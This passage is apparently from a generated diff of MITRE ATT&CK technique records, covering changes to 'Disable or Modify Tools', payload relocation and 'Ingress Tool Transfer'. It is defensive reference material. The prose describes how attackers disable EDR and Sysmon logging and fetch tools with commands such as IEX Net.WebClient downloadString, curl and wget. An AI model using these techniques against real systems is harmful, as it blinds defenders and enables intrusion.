+ "url": "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine"
+ },
+ {
+ "source_name": "Cocomazzi FIN7 Reboot",
+ "description": "Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.",
+ "url": "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/"
+ },
+ {
+ "source_name": "OutFlank System Calls",
+ "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
+ "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
+ },
+ {
+ "source_name": "disable_win_evt_logging",
+ "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
+ "url": "https://ptylu.github.io/content/report/report.html?report=25"
+ },
+ {
+ "source_name": "chasing_avaddon_ransomware",
+ "description": "Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.",
+ "url": "https://www.mandiant.com/resources/chasing-avaddon-ransomware"
+ },
+ {
+ "source_name": "doppelpaymer_crowdstrike",
+ "description": "Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.",
+ "url": "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/"
+ },
+ {
+ "source_name": "avoslocker_ransomware",
+ "description": "Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.",
+ "url": "https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html"
+ },
+ {
+ "source_name": "dharma_ransomware",
+ "description": "Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.",
+ "url": "https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/"
+ },
+ {
+ "source_name": "MDSec System Calls",
+ "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
+ "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
+ },
+ {
+ "source_name": "SCADAfence_ransomware",
+ "description": "Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.",
+ "url": "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf"
+ },
+ {
+ "source_name": "demystifying_ryuk",
+ "description": "Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022.",
+ "url": "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947"
+ },
+ {
+ "source_name": "Google Cloud Threat Intelligence FIN13 2021",
+ "description": "Van Ta, Jake Nicastro, Rufus Brown, and Nick Richard. (2021, December 7). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved March 18, 2025.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/fin13-cybercriminal-mexico/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Gordon Long, LegioX/Zoom, asaurusrex",
+ "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security",
+ "Nathaniel Quist, Palo Alto Networks",
+ "Gal Singer, @galsinger29, Team Nautilus Aqua Security",
+ "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
+ "Cian Heasley",
+ "Alex Soler, AttackIQ",
+ "Sarathkumar Rajendran, Microsoft Defender365",
+ "Lucas Heiligenstein",
+ "Menachem Goldstein",
+ "Nay Myo Hlaing (Ethan), DBS Bank"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Containers",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.7",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Process: Process Termination\", \"Process: Process Creation\", \"Service: Service Metadata\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Deletion\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.019000+00:00\", \"old_value\": \"2025-04-15 19:58:57.147000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n\\nAdversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)\\n\\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n\\nAdversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n\\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\\n\\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\\n\\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\\n\\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\", \"old_value\": \"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n\\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n\\nAdversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n\\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\\n\\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\\n\\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\\n\\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,8 @@\\n Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n \\n-Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n+Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)\\n+\\n+Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n \\n Adversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n\\nLack of expected log events may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n-\\n-Lack of expected log events may be suspicious.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Gordon Long, LegioX/Zoom, asaurusrex\", \"old_value\": \"Gordon Long, Box, Inc., @ethicalhax\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Cocomazzi FIN7 Reboot\", \"description\": \"Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.\", \"url\": \"https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/\"}, \"root['x_mitre_contributors'][10]\": \"Nay Myo Hlaing (Ethan), DBS Bank\"}}",
+ "previous_version": "1.6",
+ "version_change": "1.6 \u2192 1.7",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify and/or disable security tools to avoi | t | 1 | Adversaries may modify and/or disable security tools to avoi |
| > | d possible detection of their malware/tools and activities. | > | d possible detection of their malware/tools and activities. | ||
| > | This may take many forms, such as killing security software | > | This may take many forms, such as killing security software | ||
| > | processes or services, modifying / deleting Registry keys or | > | processes or services, modifying / deleting Registry keys or | ||
| > | configuration files so that tools do not operate properly, | > | configuration files so that tools do not operate properly, | ||
| > | or other methods to interfere with security tools scanning o | > | or other methods to interfere with security tools scanning o | ||
| > | r reporting information. Adversaries may also disable update | > | r reporting information. Adversaries may also disable update | ||
| > | s to prevent the latest security patches from reaching tools | > | s to prevent the latest security patches from reaching tools | ||
| > | on victim systems.(Citation: SCADAfence_ransomware) Advers | > | on victim systems.(Citation: SCADAfence_ransomware) Advers | ||
| > | aries may also tamper with artifacts deployed and utilized b | > | aries may trigger a denial-of-service attack via legitimate | ||
| > | y security tools. Security tools may make dynamic changes to | > | system processes. It has been previously observed that the W | ||
| > | system components in order to maintain visibility into spec | > | indows Time Travel Debugging (TTD) monitor driver can be use | ||
| > | ific events. For example, security products may load their o | > | d to initiate a debugging session for a security tool (e.g., | ||
| > | wn modules and/or modify those loaded by processes to facili | > | an EDR) and render the tool non-functional. By hooking the | ||
| > | tate data collection. Similar to [Indicator Blocking](https: | > | debugger into the EDR process, all child processes from the | ||
| > | //attack.mitre.org/techniques/T1562/006), adversaries may un | > | EDR will be automatically suspended. The attacker can termi | ||
| > | hook or otherwise modify these features added by tools (espe | > | nate any EDR helper processes (unprotected by Windows Protec | ||
| > | cially those that exist in userland or are otherwise potenti | > | ted Process Light) by abusing the Process Explorer driver. I | ||
| > | ally accessible to adversaries) to avoid detection.(Citation | > | n combination this will halt any attempt to restart services | ||
| > | : OutFlank System Calls)(Citation: MDSec System Calls) Alter | > | and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboo | ||
| > | natively, they may add new directories to an endpoint detect | > | t) Adversaries may also tamper with artifacts deployed and | ||
| > | ion and response (EDR) tool\u2019s exclusion list, enabling them | > | utilized by security tools. Security tools may make dynamic | ||
| > | to hide malicious files via [File/Path Exclusions](https://a | > | changes to system components in order to maintain visibility | ||
| > | ttack.mitre.org/techniques/T1564/012).(Citation: BlackBerry | > | into specific events. For example, security products may lo | ||
| > | WhisperGate 2022)(Citation: Google Cloud Threat Intelligence | > | ad their own modules and/or modify those loaded by processes | ||
| > | FIN13 2021) Adversaries may also focus on specific applica | > | to facilitate data collection. Similar to [Indicator Blocki | ||
| > | tions such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d | > | ng](https://attack.mitre.org/techniques/T1562/006), adversar | ||
| > | values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\ | > | ies may unhook or otherwise modify these features added by t | ||
| > | Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Ope | > | ools (especially those that exist in userland or are otherwi | ||
| > | rational</code> may be modified to tamper with and potential | > | se potentially accessible to adversaries) to avoid detection | ||
| > | ly disable Sysmon logging.(Citation: disable_win_evt_logging | > | .(Citation: OutFlank System Calls)(Citation: MDSec System Ca | ||
| > | ) On network devices, adversaries may attempt to skip digi | > | lls) For example, adversaries may abuse the Windows process | ||
| > | tal signature verification checks by altering startup config | > | mitigation policy to block certain endpoint detection and re | ||
| > | uration files and effectively disabling firmware verificatio | > | sponse (EDR) products from loading their user-mode code via | ||
| > | n that typically occurs at boot.(Citation: Fortinet Zero-Day | > | DLLs. By spawning a process with the PROCESS_CREATION_MITIGA | ||
| > | and Custom Malware Used by Suspected Chinese Actor in Espio | > | TION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute | ||
| > | nage Operation)(Citation: Analysis of FG-IR-22-369) In clou | > | using API calls like UpdateProcThreadAttribute, adversaries | ||
| > | d environments, tools disabled by adversaries may include cl | > | may evade detection by endpoint security solutions that rel | ||
| > | oud monitoring agents that report back to services such as A | > | y on DLLs that are not signed by Microsoft. Alternatively, t | ||
| > | WS CloudWatch or Google Cloud Monitor. Furthermore, althoug | > | hey may add new directories to an EDR tool\u2019s exclusion list, | ||
| > | h defensive tools may have anti-tampering mechanisms, advers | > | enabling them to hide malicious files via [File/Path Exclus | ||
| > | aries may abuse tools such as legitimate rootkit removal kit | > | ions](https://attack.mitre.org/techniques/T1564/012).(Citati | ||
| > | s to impair and/or disable these tools.(Citation: chasing_av | > | on: BlackBerry WhisperGate 2022)(Citation: Google Cloud Thre | ||
| > | addon_ransomware)(Citation: dharma_ransomware)(Citation: dem | > | at Intelligence FIN13 2021) Adversaries may also focus on s | ||
| > | ystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For exam | > | pecific applications such as Sysmon. For example, the \u201cStart | ||
| > | ple, adversaries have used tools such as GMER to find and sh | > | \u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\Cur | ||
| > | ut down hidden processes and antivirus software on infected | > | rentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Win | ||
| > | systems.(Citation: demystifying_ryuk) Additionally, adversa | > | dows-Sysmon-Operational</code> may be modified to tamper wit | ||
| > | ries may exploit legitimate drivers from anti-virus software | > | h and potentially disable Sysmon logging.(Citation: disable_ | ||
| > | to gain access to kernel space (i.e. [Exploitation for Priv | > | win_evt_logging) On network devices, adversaries may attem | ||
| > | ilege Escalation](https://attack.mitre.org/techniques/T1068) | > | pt to skip digital signature verification checks by altering | ||
| > | ), which may lead to bypassing anti-tampering features.(Cita | > | startup configuration files and effectively disabling firmw | ||
| > | tion: avoslocker_ransomware) | > | are verification that typically occurs at boot.(Citation: Fo | ||
| > | rtinet Zero-Day and Custom Malware Used by Suspected Chinese | ||||
| > | Actor in Espionage Operation)(Citation: Analysis of FG-IR-2 | ||||
| > | 2-369) In cloud environments, tools disabled by adversaries | ||||
| > | may include cloud monitoring agents that report back to ser | ||||
| > | vices such as AWS CloudWatch or Google Cloud Monitor. Furth | ||||
| > | ermore, although defensive tools may have anti-tampering mec | ||||
| > | hanisms, adversaries may abuse tools such as legitimate root | ||||
| > | kit removal kits to impair and/or disable these tools.(Citat | ||||
| > | ion: chasing_avaddon_ransomware)(Citation: dharma_ransomware | ||||
| > | )(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowds | ||||
| > | trike) For example, adversaries have used tools such as GMER | ||||
| > | to find and shut down hidden processes and antivirus softwa | ||||
| > | re on infected systems.(Citation: demystifying_ryuk) Additi | ||||
| > | onally, adversaries may exploit legitimate drivers from anti | ||||
| > | -virus software to gain access to kernel space (i.e. [Exploi | ||||
| > | tation for Privilege Escalation](https://attack.mitre.org/te | ||||
| > | chniques/T1068)), which may lead to bypassing anti-tampering | ||||
| > | features.(Citation: avoslocker_ransomware) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Once a payload is delivered, adversaries may reproduce copie | t | 1 | Once a payload is delivered, adversaries may reproduce copie |
| > | s of the same malware on the victim system to remove evidenc | > | s of the same malware on the victim system to remove evidenc | ||
| > | e of their presence and/or avoid defenses. Copying malware p | > | e of their presence and/or avoid defenses. Copying malware p | ||
| > | ayloads to new locations may also be combined with [File Del | > | ayloads to new locations may also be combined with [File Del | ||
| > | etion](https://attack.mitre.org/techniques/T1070/004) to cle | > | etion](https://attack.mitre.org/techniques/T1070/004) to cle | ||
| > | anup older artifacts. Relocating malware may be a part of m | > | anup older artifacts. Relocating malware may be a part of m | ||
| > | any actions intended to evade defenses. For example, adversa | > | any actions intended to evade defenses. For example, adversa | ||
| > | ries may copy and rename payloads to better blend into the l | > | ries may copy and rename payloads to better blend into the l | ||
| > | ocal environment (i.e., [Match Legitimate Resource Name or L | > | ocal environment (i.e., [Match Legitimate Resource Name or L | ||
| > | ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci | > | ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci | ||
| > | tation: DFIR Report Trickbot June 2023) Payloads may also be | > | tation: DFIR Report Trickbot June 2023) Payloads may also be | ||
| > | repositioned to target [File/Path Exclusions](https://attac | > | repositioned to target [File/Path Exclusions](https://attac | ||
| > | k.mitre.org/techniques/T1564/012) as well as specific locati | > | k.mitre.org/techniques/T1564/012) as well as specific locati | ||
| > | ons associated with establishing [Persistence](https://attac | > | ons associated with establishing [Persistence](https://attac | ||
| > | k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) | > | k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) | ||
| > | Relocating malicious payloads may also hinder defensive an | > | Relocating malicious payloads may also hinder defensive an | ||
| > | alysis, especially to separate these payloads from earlier e | > | alysis, especially to separate these payloads from earlier e | ||
| > | vents (such as [User Execution](https://attack.mitre.org/tec | > | vents (such as [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204) and [Phishing](https://attack.mitre.org/techn | > | hniques/T1204) and [Phishing](https://attack.mitre.org/techn | ||
| > | iques/T1566)) that may have generated alerts or otherwise dr | > | iques/T1566)) that may have generated alerts or otherwise dr | ||
| > | awn attention from defenders. | > | awn attention from defenders. Moving payloads into target di | ||
| > | rectories does not alter the Creation timestamp, thereby eva | ||||
| > | ding detection logic reliant on modifications to this artifa | ||||
| > | ct (i.e., [Timestomp](https://attack.mitre.org/techniques/T1 | ||||
| > | 070/006)). |
IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas) A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).(Citation: Google Cloud Threat Intelligence COSCMICENERGY 2023)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1105",
+ "external_id": "T1105"
+ },
+ {
+ "source_name": "T1105: Trellix_search-ms",
+ "description": " Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.",
+ "url": "https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/"
+ },
+ {
+ "source_name": "Google Cloud Threat Intelligence COSCMICENERGY 2023",
+ "description": "COSMICENERGY: New OT Malware Possibly Related To Russian Emergency Response Exercises. (2023, May 25). Ken Proska, Daniel Kapellmann Zafra, Keith Lunden, Corey Hildebrandt, Rushikesh Nandedkar, Nathan Brubaker. Retrieved March 18, 2025.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/cosmicenergy-ot-malware-russian-response/"
+ },
+ {
+ "source_name": "Dropbox Malware Sync",
+ "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
+ "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
+ },
+ {
+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ },
+ {
+ "source_name": "t1105_lolbas",
+ "description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.",
+ "url": "https://lolbas-project.github.io/#t1105"
+ },
+ {
+ "source_name": "PTSecurity Cobalt Dec 2016",
+ "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
+ "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Alain Homewood",
+ "Jeremy Hedges",
+ "Joe Wise",
+ "John Page (aka hyp3rlinx), ApparitionSec",
+ "Mark Wee",
+ "Peter Oakes",
+ "Selena Larson, @selenalarson",
+ "Shailesh Tiwary (Indian Army)",
+ "The DFIR Report",
+ "Don Le, Stifel Financial"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "2.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.714000+00:00\", \"old_value\": \"2025-04-15 19:59:17.217000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. 